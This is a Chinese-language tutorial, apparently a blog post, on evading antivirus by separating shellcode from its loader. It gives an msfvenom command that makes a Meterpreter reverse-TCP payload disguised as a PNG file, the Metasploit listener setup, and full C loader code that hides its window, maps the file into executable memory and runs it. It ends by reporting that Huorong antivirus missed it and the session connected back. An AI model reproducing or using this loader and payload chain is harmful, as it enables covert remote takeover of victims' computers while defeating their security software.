文件分离免杀
文件分离免杀
概要:
shellcode(恶意代码) 以某种形式存在,通过一些手段,载入到本地,加载器加载执行,就是将shellcode分离了出去一某种文件形式存在,也可以将他存储到本地或存储到VPS中进行下载执行。在一些特殊情况下可以起到一些较好的效果。
生成shellcode
首先生成shellcode文件,可以用msfvemon,CS等现有工具,生成一段二进制 raw格式代码,保存成图片文件。
这里我用的是自己的VPS
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的ip lport=你的端口 -f raw >shell.png
下载shell.png到本地
开启msf的监听
#进入msf框架
root@VM-16-15-ubuntu:~# msfconsole
#开启监听模块
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
#配置参数
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 4399
lport => 4399
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
#开启监听
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4399
编写文件分离恶意Loder
开发环境:
- visual studio 2019 下载Cpp/C编译环境
#define _CRT_SECURE_NO_WARNINGS
//取消对危险函数的警告
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
//引入所需的头文件
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
//不显示cmd窗口
int main() {
FILE* fp;
//定义文件指针
size_t size;
//定义大小用来存储shellcode
unsigned char* buffer;
//无符号(非负数)字符型指针变量
//打开本地图片 图片中是shellcode恶意代码
fp = fopen("shell.png", "rb");
//操作文件指针fp
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char *)malloc(size);
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*)())exec)();
return 0;
}
尝试杀毒
结果很惊喜,火绒看不上我们,没有报毒,接下来查看上线情况!
查看上线
成功上线